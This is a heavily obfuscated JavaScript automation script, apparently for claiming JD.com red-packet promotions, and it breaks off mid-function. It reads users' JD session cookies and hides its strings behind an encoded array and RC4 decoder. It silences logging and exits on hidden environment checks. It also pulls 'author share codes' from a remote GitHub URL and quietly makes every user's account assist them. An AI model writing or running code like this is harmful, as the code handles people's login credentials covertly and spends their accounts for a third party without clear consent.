Clw==','w74Rwqt6MsOge8OIAsKjYm3CncOUw58Z','woTDujnDrQ==','bsKJRk1GBxdw','wrLDqTxpwqHDkcK0SsOiw5QFY3rClsKTwpc=','w5bCjBdL','LcKGw54OD1fDmj3Chg==','woXCjRZdfQZvfg==','WlfCtsKqIMK+w79G','wrZJSj06w4I=','WBFyw7/DkA==','wrBFaDQr','wp1fw555wpA=','w4I5wpU=','GCjDmyBMw5zDncKeF8KFwp3CmW0aw6lccMOWLQM=','SSUZMB0WWMOzwqNAw57DvQ==','OgPDocKTw7Nq','wpsQK1IYDsOJwqbDgcOxGQ==','wq5NVzEHw4RiCg==','wqfClcOBT8Ksw7DDp8KnwpnDhMOb','wqRcwpMbwqU=','XRnlt5DnuaHpoJrljKXlpo7li6g=','FsORQlMTwoPDhHlbfsKb','D8OxccKtw64=','bsOdwr8yDsK7JMOt','C8OeX101wqnDgH0=','wqczJHsM','aC5rw6gww6TDq8KA','bjcHNDM=','asOdwr4qPw==','wqrCmsObSw==','ZMOVw7PCjhU=','woPDtCnDqQ==','FSvDjg==','5om357q85Yyy6I+i5b+l77+z','PcKGw5kE','wqN8DULDujE=','woLCmBdfWg9gdww=','C8OWWFoE','44Cg5Lun5Yia','5b255aaP6aCv5Y6T44C9','w51NIGk6','44OB5LuO5YmG5oi35b2X57qc5Yyd5ae45YuV','OTw0NsKp','wpbCg8OiTigaJMKt','wqPCmsOSczM=','w5o3woELQsKYw7oY','5b6x5aeV5YGt44GF','OMKEw47CkmE=','44O25Lm85Yqn','Wl/CscKtDA==','DcKL5Yuy6IK05p245b6O5Y+B','w6RTVhkU','Ui4GIAY3ScORwrhAw4M=','w7vlv6zlpq7porDlj6Ljgbg=','UsOlw4HCgQE=','McOMGi0o','w4V/RD4mwpDDjsK6','asKgwqcOwofDr8OCw7Q=','UcO+w57Cujc=','woYfNlw+JMONwqI=','w6Yfwr8=','ZMK5wodKEw==','wpvCssO+c8Kk','wonDp8KJGw7DvMKSw6c=','wqLClMOI','5b6u5aad6aG05Y6244CG','woNfw6Z7wpA=','44Og5LiX5YuE5om25b6j57uK5YyM5aWH5YuE','AMOtWsKLw58=','wqs4w67CtmTDsAkB','JMOKHiIGw7dgw7g=','44Om5LuN5Yiz','woTDhWzDqsKF','GMOGWH8X','bSI6CD8=','w6Yfwr9UCMO9','dFBWw4LDuQ==','HuiMqOWPoeS4p+WJl+WJpOijreW+r+W6me+/iw==','bsOdwr8yEsKtOcOtw7DDlcOVR8K9WAfCjg==','wr9vw53Dp8OQwoYhMcONcQ==','w41FIGQ=','NsKGwrnCksOPwp8=','wpDCh8OmRA4HJw==','UMKfR2th','SSUMNRUHVsOVwrh8w57DrxA=','wpXDonfDucKNOndhw6xhFcKfLBtmwpI=','w60uw5XCuwrDiWLCqw==','W0IMQ1E=','eMKBT3liGhY=','McOYHiAhw7pxw7PDmTU=','dsO0wrUGwqfDv8OEw7gzcmtfT8KUwps=','fsKJQUc=','Sx4MRnxNw4jCtMOWH3nCjsOmPsOd','CFfCink=','asKNQ2N5','wp4sw6XClw==','akbCt8O2wqU=','YWPCo8O5fg==','aFhRw73DucKdwrwXw7/Dq8KGw7ES','esKgwqAE','bCpuw4YS','wo/DtC7Dm8KIw4fDrsOzwqHDgC5qwqc=','aWPCgsONUQ==','w6sDwqt4CcO7d8ODJsKx','FG8bD8Ktw4FRAU1QYFTCk0rDuQ==','wobCg8OlRA==','w4LCozZ/w78=','wrdsw7zCvkTDoA8Nw5xWwq4Pw7DDpVE=','JMOYw5vCnXDDv0bCgsOLw6kpcAcJw6U=','wrksH1TDoixzwok+OsKLw7HCtcOzdQ==','w64Rwqxw','RMOlw4/CsgfDo0Q4','wr3CucOowpvDmQ==','wrgJN3oE','HkbCtn1k','KMKMwq3CosORwpk=','ZsKzwqRLNQ==','eMOlwpJFAsK9wpZQNzR8Q3jCgcKg','cRjCtsO7fVHDi8K2Q3bCvnEJRXc=','WBNEw6o=','CsOhAycB','csKJwq06LsKrIsOhw5TDjcO7TMKdXAs=','w5krVjYGwoDDiMK2dgnCiQLCgMKYw7k=','wqwOw4TCimA=','wqTDrAXDisK7','w70iw4vCtAjDhW3CqyVXw74=','bxhBw5Q0','WcKRbWRZ','aAxDw43DqMKawq4ww77Dv8Ktw7oEZUM=','w50Bwqs3Rg==','w5rCvQ9Ow7I=','5Lm65aeW5Y6m772F5b2S566i','w6cmw5zCtwzDiGLCgCRzw7goCg==','5Lu777yV5YiX5L2u','wql7fQ0e','IsOOHjw+w7o=','5Li057mj5Y+R5b+g5b+T776a5bWA5p6Y','wpDCnxZfRxxofwEl','w4ZjwpMDYsKIw7wUQCYXJ8ODAcOO','fkLCtcOS','wpwgw4XCn2Y=','w6dQXgMZ','5b+h5Yqg5Y6M5ous57iF5Y+T5LiI5pe+776C','wqhkwrYzwqQ=','IMOMd8Kuw6A=','wovDujo=','woAbNkIGKQ==','A8KWw6ItNQ==','anrCjsOPWQ==','TzcaFAc=','UMOawoUrFQ==','KMOQwpHCvx0=','wqBQwpEywrY=','wrjCo8OowofDhg==','HzsUJMK8w4RX','RcObw6/ClQg=','MMOzfMKQ','wpYow7/CkS5C','wqIOw7/CvDc=','wqZ4F0M=','wrgAwoYUwrRXbsOHEGV/wqc1w6wt','QsOtw4HCjA==','wqTDocO7wrXDgcOzMVPCuX8KSMKrw7PCsg==','P8OmwrzCiQ==','wqrCmsOCTsKm','wp4RIg==','wpXCs8KbEy7DrMKUw6tMUA98acONw54=','VX3DjyU=','XXPDnA==','AlfCk30=','IMOIdHZG5p6M6K6T6K+o5rOA5aSl6LaWwp7igLXvu4Dig6XvuZQ=','YMO+RMK3wr4cw6jDiMOxwrA4M8OtwofCqgQ=','L8O1blEt','K8OPa13DnA==','VjtGw6HDow==','QMK3woRENA==','O8Klw7sDLw==','woDDky7DoMKY','RsKTwqlxDg==','VjVAw5/DlQ==','wrbDpzx2','SnjCocOqcw==','wrE4w7DCuA==','wpPDqFXDuMKWIXxH','w6w1wqMjcA==','WmfCosKyOQ==','wodaJGDDrg==','wrrCncOjXcKZ','wq5KaC0J','VAZEw7vDhWLDpsOLbWhkw4bDmMOPSsKWwrvCnXpiesOVwroPw4vDg2XDrX4hw68IDl/CrxMYKVPChhjDgnAaf8Oe','w5vDpMKVFCPCuA==','esKUwr8Nwr0=','bztqw6oKw7rDssKDLg==','wo9RIWw7dXAGO8Opw7DCsMKUK2JVbMOqa8ObwplPwqvClMOhNcOiw77CiW3DrhPDqGpyWj8yHWUywoBkw7ASRRsbA8Omw7IqwqBMPhJ7EyVTQsKiw7pkQBXCk8K3w4LDoUErwqU6HxPCgCgLDjjDiWhpwqxQMsOAw47ClMKfVjRnbsKlwqluQy/CpDYlw6LDuMO0McKX','GmDCkkvCgQ==','wpXDoQpJwpk=','AFnCmQ==','HMKsw7TCvS3mnanor4Lorqrms5jlp5notYkG4oGR77qr4oKd77qU','wo7CjcO2','wqNBwpUewq5ZccOIHQ==','JnLComfCnsOo','wo7Cl8OyTgUnJsKpw4ExCsKSNg==','IsOOCRkzw617w7jDmQ9B','5YqR5ZCqbStm5ou15aSe6I6J5b6U44OB57mq5Y6N44K977yX','fMKlwpBND8KQwpJYNAlUWX0=','5Yii5ZKyw7V3Y+aJv+WkguiMv+W8t+OCpOS+quaDguWLgeOAqO+9qQ==','w4VRN24mDDpfdMKVwqnDvMON','wqjCvcOpwrXDmsOvKU4=','JMO/Y8KJw4oO','Yl7CiXUSflV0RcKNwp/Dh8K0','wodEw7ttwpDCkMOGfg4=','w5tBJ3AzPA==','w6YFwrt6A8OLZMOMJcKGZHzCuA==','Ul4CUWlgw5vCrsOB','VFTCgsOqwqA=','wpnClhNuTQ==','PzcMAcKt','dsKHUg==','5Yie5ZKCwozDg13miLHlpbboj6rlvI3jg7jnu47ljKPjgbzvvr4=','SSUbMBgQ','wovDsmXDp8KdDGBBw6hWHcKYOQ==','DsOKQ0IA','w5o3woELXsKOw6cYZD45LMOjBcOCwqw=','w4F/RSYX','w57CggRvw5XCpA==','w5lwIFAO','w5zCjA5P','wpR2wrMwX+achOitqOiuiuaxtuWlrui1u2nigpvvuavigorvu4I=','w4VLMw==','KsKTw58MKF7DlTTCjA==','QnrDnjHCkA==','BsOeXsKPw7E=','woYRLlIE','w5wlw6nClyo=','w4RAYQ==','w6EUw4HCrB0=','SDQaLBoDVMOWwrU=','w5Q3wpA4cg==','P8KZw4jCl2rDsVnCjcOG','PMKCw4nCig==','w4dFOWA=','wo4iw4LCgihDQko=','wrkKEHwl','wqB0w5s=','NcOmwqXCjQ==','wrVnw67CtCDmnYPor6TorLnmsJPlpK/otr9t4oGE77mO4oKb77iQ','wqJtDF7DuCJswoYz','wr7CmsOdWcK7','wo11w4V9woM=','wrvChsOBYzM=','B8OTWFnDkA==','w580wqcVYg==','woscw4bCvgA=','fsOPWMKYwrg=','wq/CmsO5wozDnw==','NsKtw4MuNQ==','ZXd6w5zDkA==','M8OECSw=','w71jFXwb','McOKenIS','w4BPYB0o','CMOeRUI=','w7wzw47CkBzDlQ==','6aKc5Y+15Li65YiS77+J','5Luh5Yid5Yub6KCx5Lmg56q4eOaLg+WIiOi9r+WHl0PCiUnlh7bmoK/mn7t95pug5ZCm5a6U5Z+qBuS4peS7muiwhumnqOmisei+semhlOWLp+S4uOW/u+mDigrDr+emnifnmojkuKrliLYJ5aWf5a6I5Z+abOitgOaJn+WJu+WtnOaKqOWGgOi8iuijpeiGg+aekQ==','wpzCnwI=','wr5UwooS','5omV5Ymp6LyP5YSAwrLDpsOC5YSU5qKH5p+uKOaYnuWQjeWuqeWfi8KC5Li75LmN6LG06aaI6aGN6L2E6aGW5Yqo5Lmz5b666YCKLUvnpZ3Dp+eavOS4t+WImsKQ5aa45a285Z2Qd+iuhuaKuOWLoeWvoOaJnOWGjOi8hOiihOiHoeacsQ==','c8OPwoI2PsKn','P8KIw5TCmkrDuUTCgsOZw6k=','OsOFFei0gOWPuA==','wrY3w7nCuEg=','HF8Q','wpQkw7LCnRRLQUg=','5omz6KOT6ISt5p+w5YSM54+D5b6H5bqVwqvorKbmiJTli77ovbLlhoPCvxVQ5YaM5qCx5p6cfuaZgeWRr+Wvo+Wfo8KC5Luc5Lmy6LCe6aay6aGC6L6B6aOW5Yml5Luo5b+g6YKNfcOG56eEwq/nmKjkupDlibXDq+WntOWssuWeqMOP6K2z5oqQ5YuN5a+c5oqV5Yey6L2w6KKj6IeN5pyu','wqXCqyRPcA==','woV+w4Jwwo8=','OsKpw44/LA==','woQJeeWFsuS8jOS6s+WLqeivmOaDhsO8w6XCpQ==','wqlYVjMgw41tA3s=','PMOECg==','JMOhwpU1wprmnbPorZDorabmsIXlpLrotIcR4oCX77u+4oOf77uW','w4JqRTwcwo7Dl8K5ew==','wpYUw6XCvHQ=','C8OSworCgC4=','Sm1Qw7bDuw==','w74Ww4jCrgM=','wqfCo8Oqf8Ky','wqjDqhZWwoo=','bcKaU2JL','VSEFIA==','bULChMOse1HDk8K4','wp0kw4DCjz0=','I8KKwpvCnsOE','woJ1OEfDtA==','wp/CjQhT','wrBQwplBM+adquivtOitmuawkOWns+i0oCjig6Xvurrigpfvubc=','KcKGw58WIw==','wpPDp8KXFQ==','wovDnsKAHj4=','G8Odak4K','w5V8cS0Z','D8OeXkUE','wqh0w5LDtg==','5Yut5Ym45b+I5buf7765','EDUdKcKrw5o=','wpjCnMO7wqLDuA==','wqNNSwAq','bTQaBhI=','wr12GQ==','wozCg8O8QA==','w50iwoAJeMKGw6MbTQ==','w4DCiBNFw5XComHDrcOMDsK+w60=','5LmL5Lqb6aaQ6aO554Gd5Yaz4oCO6aKm5Yqn4oCP6YGnw51oJuS7qOWJnlQ=','BkHCnWjCtg==','w6Eww7rCgSo=','dSMxAwA=','MMKMwqHCgsON','wpbCjsOgZAY=','XHjCjg==','wqPCn8Ka','TgFDw73DlQ==','MMOUeMKew6I=','AFvCt3zCmA==','O8Kew6kjHg==','LsOYe2s=','Y1hOw4LDucKW','wqJ6w5HDtg==','ZMK/wqBSBMK9wo5e','QMKBwrdeEw==','wpNNGmfDuA==','TVM+cHk=','wonDpmvDqQ==','fsODwovCt8Oq5pyO6K2q6K2O5rCz5aWa6LS9FeKBoe+5j+KDm++7gg==','E8OQSw==','TBNCw7jDkw==','wpHCl8OyRhkQJw==','SlfCscKg','w6Mow4g=','57mF5Y6Q6aOb5Y2e5ou95Yi2776G6IyK5b2D','PcKOw54GKUzDkiY=','MsOzY8Kfw4kPK8Kk','XMOxwpUSMQ==','wqLDqTtj','ZsO6RMKpwpoH','NMOCHio9w7t+w6k=','dkHCpVYs','wpNIfTEj','cCB/','dMKJWEM=','wp8Dw7N0woHCt8OReh9vwrMcw49HRw==','wo/CoDzDq8KZw4DDvMOUwqDDlAVhwrEZw6s=','wpR6wp8lwqw=','csOdVEV7AAd2w7Ztw7rDkG3CqsKh','w4UCw5nCvhg=','wpVWBmXDug==','DcOaW1cTwrTDgw==','wpnDr8KJEzXDsMKMw7Y=','cMO2RMK/wpkGw6vDmQ==','MMKMwozCjsObwo7DrA==','wqvCssOfQzY=','MMOiwrHCuTo=','OsO1d8K5w5QI','ZFBRw43Ds8KGwrYt','w6suw5zChwbDk2jCug==','w50iwpMUY8KSw44YRzw=','w5fCjBJtw54=','dlwBd28=','IX/Cl3RF','wrrCosOqwqDDug==','wqrDrHXDg8Kg','HcOVTnTDjQ==','dcKPWW98','dMOdw7rCugc=','woU2PUEL','wrXDnCNUwp0=','wodZw6Fj','w5U2w4PCtCc=','wqV2LUPDpCxrwoc=','D2DCn31i','OcOrwqDCvyQ=','O8OvDh0D','wrhRw5HDksOv','NMONwqzChCQ=','SsKxbEF1','acOIwr4wNMKlPcOuw5k=','esO+WsK5','wo4XwqIp6K+h5rKj5aa76LWY77y46K6o5qKe5p6s57+26LaL6YW76KyY','PsOKACw=','wr/CoMOowr/Dm8O9LlzCtA==','DDsIH8K8','w5V/QzQ=','aljCtMO7bEvDjg==','fMKGwrZTJw==','fQhWw68F','wrA7w6XCjDM=','wpHDqcKd','57mV5Yyz6aCU5Y+B5oul5YmB776r6I6k5b+8','KMKMw47Cnw==','w64ZwqtyFcO6eMOZ','w7w1wpZhEQ==','K8KCw54QKk0=','MsOYbw==','woXoj7DljbnkuJ/li4jlirHooa7lv4zluanvvIQ=','Y8KkwoFPGMKzwolfOg==','ZsO6R8KzwoQHw4bDjsO1wrAsPQ==','QU/Co8OSfA==','woPCpsOYwqTDmg==','e0TCrcOHalfDmcK6','J2PCsGbCh8OvwrzDvMO+eQ==','wpBhHFHDpg==','wr1vGVnDpQ==','d0zCusO9','w6pLO242LTt0Rw==','amvCsMOLwoQ=','wp7CosOWwpvDuA==','bmgbS1g=','woHDvBlAwqE=','wqhJVy8iw54=','wrVAZyg6','w4tGIUkF','NsK1wrPCgcOh','wrBCw4RVwr0=','YzE6ABY=','woIRNkM=','TF88blo=','w4gDwr0vWQ==','WcK7wpxiLA==','wq7DrGnDiMK+','RHjDmTzCkw==','C8KRwojClcOM','UsOrw7zCvCE=','wo7CjcO2YA4R','VyNvw7kB','VsO9wp0gPQ==','wr1JUD4vw55l','fSUHEhg=','wppXw6I=','OMOeZGvDulY=','K8OmwrrCmyg=','akrCnn8=','w6NzVTIh','5Yq35Yma57iH5p+577+J','w6VyfAE7','wqrDpELDocKG','MGfCmVTCuw==','QMOzfMKIwr8=','V0DChcOewrE=','wo7DllLDvcK2','wpI6w5nCsFI=','wpLCjQt+UQR5','NcKIw4o=','5Yqn5Yqw5b+o5bim772x','w7wzw53CjQfDgW/CqCg=','wpfChsOzXQk=','woPCuhxQdg==','wpQsw7zCkw==','w53Cp0fDnMKt5p6t6K+w6K+X5rOd5aSj6LWZw4zigaTvuZrigK/vu7A=','alnCpcOxZ1/DlMK5Tg==','wovDujrDjcKfw5s=','Wgpbw6HDsA==','wqDDlxXDvsKf','44O35o2X56S844Kd6KyT5YSA6I6l5Y+25Liz5LiO6LWa5Yyb5LmYNnzCkAXDncOuwovnmJDmjZjkvaXnlptOw69yw7bCrsKz55mS5Lu25Lmg566I5YuO6Iyv5Y60','wp/Dr8KALzfDtsKF','wqbCuRVibQ==','NMOzasKjw4UVIcK1','wrRcwpQUwq9LdsOa','w6ZABHcT','NsKcw5/Ckkw=','wo44w7/CmD9G','wpcpwqQ=','cSst','wp7CnMO9ZcKI','KMOzwrrCgSPCn8OXw65C','wrHDsMKrMwA=','wqXDqSNuwozDmw==','wrrClMO8XsKsw4rDvcKh','TX7Cu0gb','K8OowrvCnA==','K8OZZHgY','wprCpsOecAo=','L8O+ccKTw6c=','woJ1NmXDgw==','wrdfQw==','EcOeQVM=','VsOXbsKEwoE=','eVTClcODwro=','dkzCpg==','VhbCv0h/5p2t6K6u6K2H5rCP5aSE6Leyf+KCqe+7juKCv++5jg==','I8OfHyA8w6l5w7vDlA==','woAkFGE/','aMOmwp0PDw==','dMKxwodH','w4laeAAE','wqLCicOkYsKK','5oiX57q75Y276I6A5byB772f','EsOvwp7Crx8=','VkzDjA7Clw==','wrM2w7o=','6aG757ik5Y+/5aWB6LW/776f','w4HCmRFDw4nCsUvDqMOh','w6XCvyBOw54=','w5g+wpVBGA==','dcK+woU=','AFDCjkLCoMOTwqDDgMOSUsOew5/DpA==','w5kbwrMPWw==','TsKvanZdJilGw51Ew7zDrF0=','LcKew4nCl2PDuA==','EDUd','NsKCaXzDq03DoBVCL8ObQWd7bQ==','w6jCiBJEw6s=','w4VLM0AtOg==','aMKNRlNjHQ==','YsK1wpd2F8K3wotcNwRR','wr3Cj8OOXsKrw5DDl8Kjwp7Dkg==','worDvjdmwps=','dcOvXsOywptdw6/DicKPwrIwOw==','NsODfG/DrB7CuVNeN8OiX3oweMKpwqDDsW0jw4jCtg==','fMOrQ8KswoVJwqrCgsOJwrAvJsOQw4jCs0tKbcOfGhsDZsOZwqrCu3fCshxNTnUqN8K8VMK5fcKDccKXw4gtwrXDlg8rwrbCrcOswqMpHsKwGMOXw53CmzFiwqMgw4jChMOQVnzDuMOzw5g5wqfDkBXDgm0=','IcOvw6XCiyM=','VcOQwrYoEw==','fy50w68Bw7g=','e8KYRUpmChBrw6t7w53CkXHDosKuLBhcUynCjcOsZ8KCe8K5J8OfR8Oqw6/DrBM=','w4DCvCRhw4A=','w6Qiw4rClETDh2rCpyd7','jsyPjirPamGi.Gcoml.qDMkvq6KT=='];(function(_0x154ddc,_0x402e8a,_0x4790d2){var _0x2613d0=function(_0x407a55,_0x17de10,_0x3c0bbf,_0x37a9fe,_0x41134c){_0x17de10=_0x17de10>>0x8,_0x41134c='po';var _0x47e52d='shift',_0x2cef52='push';if(_0x17de10<_0x407a55){while(--_0x407a55){_0x37a9fe=_0x154ddc[_0x47e52d]();if(_0x17de10===_0x407a55){_0x17de10=_0x37a9fe;_0x3c0bbf=_0x154ddc[_0x41134c+'p']();}else if(_0x17de10&&_0x3c0bbf['replace'](/[yPrPGGlqDMkqKT=]/g,'')===_0x17de10){_0x154ddc[_0x2cef52](_0x37a9fe);}}_0x154ddc[_0x2cef52](_0x154ddc[_0x47e52d]());}return 0x8d638;};return _0x2613d0(++_0x402e8a,_0x4790d2)>>_0x402e8a^_0x4790d2;}(_0x2868,0xf4,0xf400));var _0x5c3d=function(_0x3202c0,_0xca92ee){_0x3202c0=~~'0x'['concat'](_0x3202c0);var _0x547ba8=_0x2868[_0x3202c0];if(_0x5c3d['NnsbZD']===undefined){(function(){var _0x53126e=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x29e8c3='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x53126e['atob']||(_0x53126e['atob']=function(_0x55c50f){var _0xac331e=String(_0x55c50f)['replace'](/=+$/,'');for(var _0x4926fa=0x0,_0x265202,_0x1fc323,_0x10ba17=0x0,_0x5969c8='';_0x1fc323=_0xac331e['charAt'](_0x10ba17++);~_0x1fc323&&(_0x265202=_0x4926fa%0x4?_0x265202*0x40+_0x1fc323:_0x1fc323,_0x4926fa++%0x4)?_0x5969c8+=String['fromCharCode'](0xff&_0x265202>>(-0x2*_0x4926fa&0x6)):0x0){_0x1fc323=_0x29e8c3['indexOf'](_0x1fc323);}return _0x5969c8;});}());var _0x31849a=function(_0x40bc29,_0xca92ee){var _0x435b65=[],_0x675213=0x0,_0xf1e236,_0x1cd4ad='',_0x93eebb='';_0x40bc29=atob(_0x40bc29);for(var _0x4719a7=0x0,_0x5dad92=_0x40bc29['length'];_0x4719a7<_0x5dad92;_0x4719a7++){_0x93eebb+='%'+('00'+_0x40bc29['charCodeAt'](_0x4719a7)['toString'](0x10))['slice'](-0x2);}_0x40bc29=decodeURIComponent(_0x93eebb);for(var _0x32cb2e=0x0;_0x32cb2e<0x100;_0x32cb2e++){_0x435b65[_0x32cb2e]=_0x32cb2e;}for(_0x32cb2e=0x0;_0x32cb2e<0x100;_0x32cb2e++){_0x675213=(_0x675213+_0x435b65[_0x32cb2e]+_0xca92ee['charCodeAt'](_0x32cb2e%_0xca92ee['length']))%0x100;_0xf1e236=_0x435b65[_0x32cb2e];_0x435b65[_0x32cb2e]=_0x435b65[_0x675213];_0x435b65[_0x675213]=_0xf1e236;}_0x32cb2e=0x0;_0x675213=0x0;for(var _0x57ae42=0x0;_0x57ae42<_0x40bc29['length'];_0x57ae42++){_0x32cb2e=(_0x32cb2e+0x1)%0x100;_0x675213=(_0x675213+_0x435b65[_0x32cb2e])%0x100;_0xf1e236=_0x435b65[_0x32cb2e];_0x435b65[_0x32cb2e]=_0x435b65[_0x675213];_0x435b65[_0x675213]=_0xf1e236;_0x1cd4ad+=String['fromCharCode'](_0x40bc29['charCodeAt'](_0x57ae42)^_0x435b65[(_0x435b65[_0x32cb2e]+_0x435b65[_0x675213])%0x100]);}return _0x1cd4ad;};_0x5c3d['vtykse']=_0x31849a;_0x5c3d['WMPZzF']={};_0x5c3d['NnsbZD']=!![];}var _0x7316f3=_0x5c3d['WMPZzF'][_0x3202c0];if(_0x7316f3===undefined){if(_0x5c3d['mFDlWa']===undefined){_0x5c3d['mFDlWa']=!![];}_0x547ba8=_0x5c3d['vtykse'](_0x547ba8,_0xca92ee);_0x5c3d['WMPZzF'][_0x3202c0]=_0x547ba8;}else{_0x547ba8=_0x7316f3;}return _0x547ba8;};if($[_0x5c3d('0',']G5@')]()){Object[_0x5c3d('1','s2t@')](jdCookieNode)[_0x5c3d('2','Vm#Z')](_0x331d2e=>{cookiesArr[_0x5c3d('3','KKA&')](jdCookieNode[_0x331d2e]);});if(process[_0x5c3d('4','s2t@')][_0x5c3d('5','J(]D')]&&process[_0x5c3d('6','7De#')][_0x5c3d('7','pqb(')]===_0x5c3d('8','P3j6'))console['log']=()=>{};if(JSON[_0x5c3d('9','o%Hs')](process['env'])['indexOf'](_0x5c3d('a','8ye]'))>-0x1)process[_0x5c3d('b','piza')](0x0);}else{cookiesArr=[$[_0x5c3d('c','RJ[D')]('CookieJD'),$[_0x5c3d('d','#g!5')](_0x5c3d('e','sEZ[')),...jsonParse($[_0x5c3d('f','qt1B')]('CookiesJD')||'[]')[_0x5c3d('10','inWv')](_0x571e32=>_0x571e32[_0x5c3d('11','qi!x')])][_0x5c3d('12','piza')](_0x279622=>!!_0x279622);}const JD_API_HOST=_0x5c3d('13','oaTe');!(async()=>{var _0x2b599c={'XiMRn':_0x5c3d('14','P3j6'),'tEAqv':_0x5c3d('15','$[C2'),'WDhXz':function(_0x29359d,_0x5b1802){return _0x29359d(_0x5b1802);},'sqQLO':function(_0x554cb2,_0x134370){return _0x554cb2(_0x134370);},'epCvw':function(_0xdf550){return _0xdf550();},'yPPHv':function(_0x9a55e3,_0x3fc3fa){return _0x9a55e3<_0x3fc3fa;},'IREKc':function(_0x54b598){return _0x54b598();},'Wxsdm':function(_0x426515,_0x1f6180){return _0x426515<_0x1f6180;},'duSwE':function(_0x4e533d,_0x36f384){return _0x4e533d+_0x36f384;},'Imrul':function(_0x3662a4,_0x2a6f59){return _0x3662a4(_0x2a6f59);}};if(!cookiesArr[0x0]){$['msg']($[_0x5c3d('16','dECe')],_0x2b599c[_0x5c3d('17','Vm#Z')],_0x2b599c['tEAqv'],{'open-url':'https://bean.m.jd.com/bean/signIndex.action'});return;}let _0x254699=await _0x2b599c['WDhXz'](getAuthorShareCode,'https://raw.githubusercontent.com/gitupdate/updateTeam/master/shareCodes/jd_red.json'),_0x49dd90=await _0x2b599c[_0x5c3d('18','sEZ[')](getAuthorShareCode,_0x5c3d('19','(S7p'));if(!_0x254699)_0x254699=await _0x2b599c[_0x5c3d('1a','m0Q1')](getAuthorShareCode);$[_0x5c3d('1b','Ykax')]=[..._0x254699||[],..._0x49dd90||[]];for(let _0xd83cb6=0x0;_0x2b599c[_0x5c3d('1c','dECe')](_0xd83cb6,cookiesArr[_0x5c3d('1d','qi!x')]);_0xd83cb6++){if(cookiesArr[_0xd83cb6]){cookie=cookiesArr[_0xd83cb6];$['UserName']=decodeURIComponent(cookie['match'](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x5c3d('1e','P3j6')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x5c3d('1f','@YZ@')]=_0xd83cb6+0x1;$[_0x5c3d('20','QeIx')]=!![];$[_0x5c3d('21','QeIx')]='';await TotalBean();console[_0x5c3d('22','I($f')](_0x5c3d('23','m0Q1')+$[_0x5c3d('24','pqb(')]+'】'+($[_0x5c3d('25','qi!x')]||$['UserName'])+'****\x0a');if(!$[_0x5c3d('26','wc[h')]){$['msg']($[_0x5c3d('27','$[C2')],_0x5c3d('28','lR53'),_0x5c3d('29','GEp&')+$[_0x5c3d('2a','Jnb7')]+'\x20'+($['nickName']||$['UserName'])+_0x5c3d('2b',']loZ'),{'open-url':'https://bean.m.jd.com/bean/signIndex.action'});if($['isNode']()){await notify['sendNotify']($['name']+_0x5c3d('2c','s%P1')+$[_0x5c3d('2d','$lyO')],_0x5c3d('2e','KKA&')+$[_0x5c3d('2f','lR53')]+'\x20'+$['UserName']+_0x5c3d('30',']G5@'));}continue;}$[_0x5c3d('31','#g!5')]=0x0;await _0x2b599c[_0x5c3d('32','sEZ[')](redPacket);await _0x2b599c['IREKc'](showMsg);}}for(let _0x108dc3=0x0;_0x2b599c['Wxsdm'](_0x108dc3,cookiesArr[_0x5c3d('33','pqb(')]);_0x108dc3++){cookie=cookiesArr[_0x108dc3];$['index']=_0x2b599c['duSwE'](_0x108dc3,0x1);$[_0x5c3d('34','Jnb7')]=_0x2b599c[_0x5c3d('35','DI]G')](decodeURIComponent,cookie[_0x5c3d('36','$lyO')](/pt_pin=([^; ]+)(?=;?)/)&&cookie['match'](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x5c3d('37','pqb(')]=!![];$['redPacketId']=[...new Set($[_0x5c3d('38','m0Q1')])];if(cookiesArr&&cookiesArr[_0x5c3d('39','oaTe')]>0x2){console[_0x5c3d('3a','pqb(')](_0x5c3d('3b','7De#'));for(let _0x5c5ad1 of $[_0x5c3d('3c','f$@p')]){console[_0x5c3d('3d','J(]D')](_0x5c3d('3e','oaTe')+$[_0x5c3d('3f','I($f')]+'\x20'+$[_0x5c3d('40','o%Hs')]+_0x5c3d('41','8ye]')+_0x5c5ad1+_0x5c3d('42','$[C2'));await jinli_h5assist(_0x5c5ad1);if(!$[_0x5c3d('43','GR%&')]){console[_0x5c3d('44','7De#')](_0x5c3d('45','I($f'));break;}}}if($[_0x5c3d('46','1xX6')]){console[_0x5c3d('47','o7vD')](_0x5c3d('48','RJ[D'));for(let _0x3f5aaf of $[_0x5c3d('49','afg[')]||[]){console[_0x5c3d('4a','inWv')]('\x0a账号\x20'+$[_0x5c3d('4b','qi!x')]+'\x20'+$[_0x5c3d('4c','afg[')]+'\x20开始给作者\x20'+_0x3f5aaf+_0x5c3d('4d','s2t@'));await jinli_h5assist(_0x3f5aaf);if(!$[_0x5c3d('4e','p4$W')]){console[_0x5c3d('4f','4%Cg')](_0x5c3d('50','Jnb7'));break;}}}}})()[_0x5c3d('51','NJq]')](_0x598b1d=>{$['log']('','❌\x20'+$['name']+_0x5c3d('52','GEp&')+_0x598b1d+'!','');})['finally'](()=>{$[_0x5c3d('53','RJ[D')]();});async function redPacket(){var _0x3d851d={'IQjWk':function(_0x4e5540,_0x468579){return _0x4e5540!==_0x468579;},'mMzXs':_0x5c3d('54','wc[h'),'BlsrB':_0x5c3d('55','GEp&'),'BUiTm':function(_0x4e7cbd){return _0x4e7cbd();},'yEhDu':function(_0x36015b){return _0x36015b();},'yFsBV':function(_0x5dc7ce){return _0x5dc7ce();},'IZfzp':function(_0x434552){return _0x434552();},'iugmP':function(_0x357435,_0x15bf7f){return _0x357435===_0x15bf7f;},'EkOxt':_0x5c3d('56','SI!Z')};try{if(_0x3d851d[_0x5c3d('57','4%Cg')](_0x5c3d('58','@YZ@'),_0x3d851d[_0x5c3d('59','o%Hs')])){var _0x15e94e=_0x3d851d[_0x5c3d('5a','o7vD')][_0x5c3d('5b','8ye]')]('|'),_0x2d5c8a=0x0;while(!![]){switch(_0x15e94e[_0x2d5c8a++]){case'0':await _0x3d851d[_0x5c3d('5c','QeIx')](doLuckDrawFun);continue;case'1':await _0x3d851d['yEhDu'](red);continue;case'2':await _0x3d851d['yFsBV'](doTask);continue;case'3':await h5activityIndex();continue;case'4':await taskHomePage();continue;case'5':await 